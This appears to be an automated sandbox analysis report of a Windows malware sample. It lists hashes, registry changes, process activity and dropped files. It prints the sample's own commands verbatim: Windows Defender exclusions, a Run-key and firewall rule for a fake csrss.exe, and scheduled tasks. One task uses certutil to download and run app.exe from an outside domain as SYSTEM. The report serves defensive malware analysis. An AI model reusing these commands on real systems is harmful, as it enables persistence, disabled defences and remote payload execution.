Analysis
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max time kernel
25s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:56
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Artemis54E3EF44C531.6042.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Artemis54E3EF44C531.6042.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.Artemis54E3EF44C531.6042.exe
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Size
3.8MB
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MD5
54e3ef44c531c68051c95a1a5bc3cbed
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SHA1
551cd45da3107888dcacccf2e82d197be6cd8858
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SHA256
7ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d
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SHA512
3ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1220 csrss.exe 576 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.exepatch.exepid process 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe 856 576 patch.exe 576 patch.exe 576 patch.exe 576 patch.exe 576 patch.exe -
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ColdButterfly = "0" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\ColdButterfly = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Artemis54E3EF44C531.6042.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Artemis54E3EF44C531.6042.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1592 schtasks.exe 1772 schtasks.exe -
Modifies data under HKEY_USERS 237 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.exeSecuriteInfo.com.Artemis54E3EF44C531.6042.exepid process 1892 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.execsrss.exedescription pid process Token: SeDebugPrivilege 1892 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Token: SeImpersonatePrivilege 1892 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe Token: SeSystemEnvironmentPrivilege 1220 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.Artemis54E3EF44C531.6042.execmd.exedescription pid process target process PID 340 wrote to memory of 1480 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe cmd.exe PID 340 wrote to memory of 1480 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe cmd.exe PID 340 wrote to memory of 1480 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe cmd.exe PID 340 wrote to memory of 1480 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe cmd.exe PID 1480 wrote to memory of 1720 1480 cmd.exe netsh.exe PID 1480 wrote to memory of 1720 1480 cmd.exe netsh.exe PID 1480 wrote to memory of 1720 1480 cmd.exe netsh.exe PID 340 wrote to memory of 1220 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe csrss.exe PID 340 wrote to memory of 1220 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe csrss.exe PID 340 wrote to memory of 1220 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe csrss.exe PID 340 wrote to memory of 1220 340 SecuriteInfo.com.Artemis54E3EF44C531.6042.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Artemis54E3EF44C531.6042.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
54e3ef44c531c68051c95a1a5bc3cbed
SHA1551cd45da3107888dcacccf2e82d197be6cd8858
SHA2567ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d
SHA5123ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
54e3ef44c531c68051c95a1a5bc3cbed
SHA1551cd45da3107888dcacccf2e82d197be6cd8858
SHA2567ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d
SHA5123ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e
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\Windows\rss\csrss.exeMD5
54e3ef44c531c68051c95a1a5bc3cbed
SHA1551cd45da3107888dcacccf2e82d197be6cd8858
SHA2567ff8aa2e44c022e4876cc1ecbdb46aec2e790a36bcadcadeca059ad62593370d
SHA5123ad232560e9b20628fe547d4ddf09f4e3d93791c5d24cb92fe6adb62a977689f0de65e99c76af092bb4fbc1a1dac4b649cf0615cbf4f19c8def79028c8bd0c6e
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memory/340-14-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/340-13-0x0000000003A40000-0x0000000003A51000-memory.dmpFilesize
68KB
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memory/340-12-0x0000000003690000-0x0000000003A37000-memory.dmpFilesize
3.7MB
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memory/1220-19-0x0000000000000000-mapping.dmp
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memory/1220-21-0x0000000003420000-0x00000000037C7000-memory.dmpFilesize
3.7MB
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memory/1220-22-0x00000000037D0000-0x00000000037E1000-memory.dmpFilesize
68KB
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memory/1480-15-0x0000000000000000-mapping.dmp
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memory/1720-16-0x0000000000000000-mapping.dmp
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memory/1816-31-0x000007FEF7730000-0x000007FEF79AA000-memory.dmpFilesize
2.5MB
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memory/1892-0-0x0000000003470000-0x0000000003817000-memory.dmpFilesize
3.7MB
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memory/1892-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1892-1-0x0000000003820000-0x0000000003831000-memory.dmpFilesize
68KB